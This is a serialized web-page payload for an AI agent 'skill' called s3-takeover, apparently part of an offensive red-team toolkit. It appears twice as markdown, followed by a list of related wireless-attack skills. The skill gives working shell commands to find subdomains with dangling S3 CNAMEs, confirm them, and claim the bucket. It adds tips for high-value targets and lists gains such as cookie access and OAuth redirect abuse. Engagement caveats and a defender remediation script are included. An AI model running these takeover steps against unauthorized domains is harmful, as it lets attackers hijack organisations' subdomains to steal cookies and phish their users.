[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78HAV140MD8HZ3NFSQEPRA6":3,"skill-same:01M78HAV140MD8HZ3NFSQEPRA6":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":13,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M78HAV140MD8HZ3NFSQEPRA6","s3-takeover",null,"Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists).","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fs3-takeover\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: s3-takeover\ndescription: Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists).\nmetadata:\n  subdomain: cloud\n  when_to_use: \"s3 bucket takeover dangling cname\"\n  mitre_attack:\n    - T1584.006\n    - T1583.006\n---\n\n# S3 Subdomain Takeover\n\nWhen a subdomain has a `CNAME` to an S3 hostname (e.g.\n`assets.example.com → assets-example.s3.amazonaws.com`) but the bucket\nno longer exists, **anyone can register that bucket name and serve\ncontent from the subdomain**.\n\n## 1. Enumerate subdomains pointing at S3\nFrom recon SUMMARY.md, look for any CNAME containing:\n- `s3.amazonaws.com`\n- `s3-website-\u003Cregion>.amazonaws.com`\n- `s3.\u003Cregion>.amazonaws.com`\n- `s3-website.\u003Cregion>.amazonaws.com`\n- `\u003Cbucket>.s3.\u003Cregion>.amazonaws.com`\n- CloudFront\u002FCDN distributions backed by S3 (`.cloudfront.net`)\n\nOr run direct:\n```bash\n# Subdomain dump\nsubfinder -d example.com -silent > \u002Ftmp\u002Fsubs.txt\n\n# Check CNAMEs\nfor s in $(cat \u002Ftmp\u002Fsubs.txt); do\n  cname=$(dig +short CNAME \"$s\" 2>\u002Fdev\u002Fnull | head -1)\n  if echo \"$cname\" | grep -qE 's3.*amazonaws|cloudfront'; then\n    echo \"$s -> $cname\"\n  fi\ndone > \u002Ftmp\u002Fs3-candidates.txt\n```\n\n## 2. Verify dangling\nFor each candidate:\n```bash\n# Try to GET the subdomain - look for the S3 \"NoSuchBucket\" error\ncurl -s -o \u002Ftmp\u002Fr.html \"https:\u002F\u002F$SUBDOMAIN\u002F\" -w '%{http_code}\\n'\ngrep -E 'NoSuchBucket|BucketNotFound|\u003CCode>NoSuchBucket\u003C\u002FCode>' \u002Ftmp\u002Fr.html\n\n# Or query the bucket name directly\nBUCKET=$(echo \"$CNAME\" | awk -F'.' '{print $1}')\naws s3 ls \"s3:\u002F\u002F$BUCKET\u002F\" --no-sign-request 2>&1\n# \"NoSuchBucket\" \u002F \"The specified bucket does not exist\" = dangling\n```\n\nDecepticon helper:\n```\ns3_takeover_check(\"\u003Csubdomain>\")\n```\n\n## 3. Claim the bucket\n```bash\n# In the SAME region the CNAME implies\naws s3api create-bucket \\\n  --bucket \"$BUCKET\" \\\n  --region us-east-1 \\\n  --create-bucket-configuration LocationConstraint=us-east-1\n# (us-east-1 omits the LocationConstraint)\n```\n\n**Race conditions**:\n- AWS sometimes blocks names of recently-deleted buckets (cooldown). If\n  it errors with \"BucketAlreadyExists\" or \"Bucket name reserved\", the\n  takeover window has closed (or is gated).\n- For high-value targets, attempt in different regions — some CNAMEs\n  don't specify region and AWS DNS resolves to whichever region you\n  create the bucket in.\n\n## 4. Demonstrate impact (safe)\n**Static page proof** (engagement context — get explicit permission first):\n```bash\necho '\u003Ch1>S3 subdomain takeover PoC\u003C\u002Fh1>\u003Cp>Demonstrated by ENGAGEMENT-ID\u003C\u002Fp>' > \u002Ftmp\u002Findex.html\naws s3 cp \u002Ftmp\u002Findex.html \"s3:\u002F\u002F$BUCKET\u002Findex.html\"\naws s3 website \"s3:\u002F\u002F$BUCKET\u002F\" --index-document index.html\n\n# Now curl https:\u002F\u002F$SUBDOMAIN\u002F returns your content\n```\n\nDO NOT:\n- Serve actual exploit content (XSS, drive-by, phishing)\n- Capture cookies even though you can (same-origin to the org)\n- Leave the bucket up post-engagement\n\nDO:\n- Take a timestamped screenshot of your benign content served from the subdomain\n- Hand the bucket name over to defender for transfer \u002F cooldown\n- Delete the bucket after PoC: `aws s3 rb \"s3:\u002F\u002F$BUCKET\" --force`\n\n## 5. Impact framing\nA claimed S3 bucket on an org subdomain gives:\n- **Same-origin scripting** vs every page on that subdomain\n- **Cookie access** for cookies scoped to the parent domain (`.example.com`)\n- **OAuth redirect_uri** abuse if the subdomain is a registered redirect\n- **MITM-class trust** — orgs publish links to the subdomain assuming control\n- **TLS** is \"free\" via the org's own ACM cert if Route 53 + ACM are\n  configured, otherwise it's an HTTP-only takeover (still bad)\n\n## 6. Promote\n```\nkg_add_node(kind=\"vulnerability\", label=\"S3 takeover: \u003Csubdomain>\",\n            props={\"severity\":\"high\",\"bucket\":\"\u003Cbucket>\",\"region\":\"\u003Cregion>\"})\nkg_add_edge(src=\u003Cvuln>, dst=\u003Ccrown_jewel:org-domain>, kind=\"grants-impersonation\")\n```\n\n## CVSS\n- Subdomain with active OAuth flow \u002F cookie scope: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:H\u002FI:H\u002FA:N` = 8.7\n- Static-content subdomain only: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:H\u002FI:H\u002FA:N` = 7.5\n- Subdomain with no apparent purpose (unused): Medium 5-6\n\n## Defender remediation\n```bash\n# Find every S3 CNAME the org publishes\naws route53 list-hosted-zones --query 'HostedZones[].Id' --output text | \\\n  xargs -I{} aws route53 list-resource-record-sets --hosted-zone-id {} \\\n  --query 'ResourceRecordSets[?Type==`CNAME`]' --output json > \u002Ftmp\u002Fcnames.json\n\n# Cross-check against existing buckets\njq -r '.[] | select(.ResourceRecords[].Value | test(\"s3.*amazonaws\")) | .Name' \u002Ftmp\u002Fcnames.json | \\\n  while read sd; do\n    bucket=$(dig +short CNAME \"$sd\" | head -1 | sed 's\u002F.s3.*\u002F\u002F; s\u002F.$\u002F\u002F')\n    aws s3api head-bucket --bucket \"$bucket\" 2>&1 | grep -q \"Not Found\" && echo \"DANGLING: $sd -> $bucket\"\n  done\n```\n\n## Known exemplars\n- 2017: Uber subdomain takeover via S3 → reported via H1, $7.5k\n- 2020: Multiple Tesla-owned subdomains pointed at deleted S3 buckets\n- 2022: Detectify scan found 350+ Fortune-500 dangling S3 records\n- Pattern: M&A acquisitions where the acquired company's cloud assets aren't transferred properly\n","# S3 Subdomain Takeover\n\nWhen a subdomain has a `CNAME` to an S3 hostname (e.g.\n`assets.example.com → assets-example.s3.amazonaws.com`) but the bucket\nno longer exists, **anyone can register that bucket name and serve\ncontent from the subdomain**.\n\n## 1. Enumerate subdomains pointing at S3\nFrom recon SUMMARY.md, look for any CNAME containing:\n- `s3.amazonaws.com`\n- `s3-website-\u003Cregion>.amazonaws.com`\n- `s3.\u003Cregion>.amazonaws.com`\n- `s3-website.\u003Cregion>.amazonaws.com`\n- `\u003Cbucket>.s3.\u003Cregion>.amazonaws.com`\n- CloudFront\u002FCDN distributions backed by S3 (`.cloudfront.net`)\n\nOr run direct:\n```bash\n# Subdomain dump\nsubfinder -d example.com -silent > \u002Ftmp\u002Fsubs.txt\n\n# Check CNAMEs\nfor s in $(cat \u002Ftmp\u002Fsubs.txt); do\n  cname=$(dig +short CNAME \"$s\" 2>\u002Fdev\u002Fnull | head -1)\n  if echo \"$cname\" | grep -qE 's3.*amazonaws|cloudfront'; then\n    echo \"$s -> $cname\"\n  fi\ndone > \u002Ftmp\u002Fs3-candidates.txt\n```\n\n## 2. Verify dangling\nFor each candidate:\n```bash\n# Try to GET the subdomain - look for the S3 \"NoSuchBucket\" error\ncurl -s -o \u002Ftmp\u002Fr.html \"https:\u002F\u002F$SUBDOMAIN\u002F\" -w '%{http_code}\\n'\ngrep -E 'NoSuchBucket|BucketNotFound|\u003CCode>NoSuchBucket\u003C\u002FCode>' \u002Ftmp\u002Fr.html\n\n# Or query the bucket name directly\nBUCKET=$(echo \"$CNAME\" | awk -F'.' '{print $1}')\naws s3 ls \"s3:\u002F\u002F$BUCKET\u002F\" --no-sign-request 2>&1\n# \"NoSuchBucket\" \u002F \"The specified bucket does not exist\" = dangling\n```\n\nDecepticon helper:\n```\ns3_takeover_check(\"\u003Csubdomain>\")\n```\n\n## 3. Claim the bucket\n```bash\n# In the SAME region the CNAME implies\naws s3api create-bucket \\\n  --bucket \"$BUCKET\" \\\n  --region us-east-1 \\\n  --create-bucket-configuration LocationConstraint=us-east-1\n# (us-east-1 omits the LocationConstraint)\n```\n\n**Race conditions**:\n- AWS sometimes blocks names of recently-deleted buckets (cooldown). If\n  it errors with \"BucketAlreadyExists\" or \"Bucket name reserved\", the\n  takeover window has closed (or is gated).\n- For high-value targets, attempt in different regions — some CNAMEs\n  don't specify region and AWS DNS resolves to whichever region you\n  create the bucket in.\n\n## 4. Demonstrate impact (safe)\n**Static page proof** (engagement context — get explicit permission first):\n```bash\necho '\u003Ch1>S3 subdomain takeover PoC\u003C\u002Fh1>\u003Cp>Demonstrated by ENGAGEMENT-ID\u003C\u002Fp>' > \u002Ftmp\u002Findex.html\naws s3 cp \u002Ftmp\u002Findex.html \"s3:\u002F\u002F$BUCKET\u002Findex.html\"\naws s3 website \"s3:\u002F\u002F$BUCKET\u002F\" --index-document index.html\n\n# Now curl https:\u002F\u002F$SUBDOMAIN\u002F returns your content\n```\n\nDO NOT:\n- Serve actual exploit content (XSS, drive-by, phishing)\n- Capture cookies even though you can (same-origin to the org)\n- Leave the bucket up post-engagement\n\nDO:\n- Take a timestamped screenshot of your benign content served from the subdomain\n- Hand the bucket name over to defender for transfer \u002F cooldown\n- Delete the bucket after PoC: `aws s3 rb \"s3:\u002F\u002F$BUCKET\" --force`\n\n## 5. Impact framing\nA claimed S3 bucket on an org subdomain gives:\n- **Same-origin scripting** vs every page on that subdomain\n- **Cookie access** for cookies scoped to the parent domain (`.example.com`)\n- **OAuth redirect_uri** abuse if the subdomain is a registered redirect\n- **MITM-class trust** — orgs publish links to the subdomain assuming control\n- **TLS** is \"free\" via the org's own ACM cert if Route 53 + ACM are\n  configured, otherwise it's an HTTP-only takeover (still bad)\n\n## 6. Promote\n```\nkg_add_node(kind=\"vulnerability\", label=\"S3 takeover: \u003Csubdomain>\",\n            props={\"severity\":\"high\",\"bucket\":\"\u003Cbucket>\",\"region\":\"\u003Cregion>\"})\nkg_add_edge(src=\u003Cvuln>, dst=\u003Ccrown_jewel:org-domain>, kind=\"grants-impersonation\")\n```\n\n## CVSS\n- Subdomain with active OAuth flow \u002F cookie scope: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:H\u002FI:H\u002FA:N` = 8.7\n- Static-content subdomain only: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:H\u002FI:H\u002FA:N` = 7.5\n- Subdomain with no apparent purpose (unused): Medium 5-6\n\n## Defender remediation\n```bash\n# Find every S3 CNAME the org publishes\naws route53 list-hosted-zones --query 'HostedZones[].Id' --output text | \\\n  xargs -I{} aws route53 list-resource-record-sets --hosted-zone-id {} \\\n  --query 'ResourceRecordSets[?Type==`CNAME`]' --output json > \u002Ftmp\u002Fcnames.json\n\n# Cross-check against existing buckets\njq -r '.[] | select(.ResourceRecords[].Value | test(\"s3.*amazonaws\")) | .Name' \u002Ftmp\u002Fcnames.json | \\\n  while read sd; do\n    bucket=$(dig +short CNAME \"$sd\" | head -1 | sed 's\u002F.s3.*\u002F\u002F; s\u002F.$\u002F\u002F')\n    aws s3api head-bucket --bucket \"$bucket\" 2>&1 | grep -q \"Not Found\" && echo \"DANGLING: $sd -> $bucket\"\n  done\n```\n\n## Known exemplars\n- 2017: Uber subdomain takeover via S3 → reported via H1, $7.5k\n- 2020: Multiple Tesla-owned subdomains pointed at deleted S3 buckets\n- 2022: Detectify scan found 350+ Fortune-500 dangling S3 records\n- Pattern: M&A acquisitions where the acquired company's cloud assets aren't transferred properly\n",{"name":5,"metadata":23,"description":7},{"subdomain":24,"when_to_use":25,"mitre_attack":26},"cloud","s3 bucket takeover dangling cname",[27,28],"T1584.006","T1583.006","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fs3-takeover","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill s3-takeover",{"tool":41,"command":42},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill s3-takeover",{"tool":44,"command":45},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill s3-takeover","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fs3-takeover\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":18},"01M78JAFCYR2BAJF7KH0ZCXREA","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]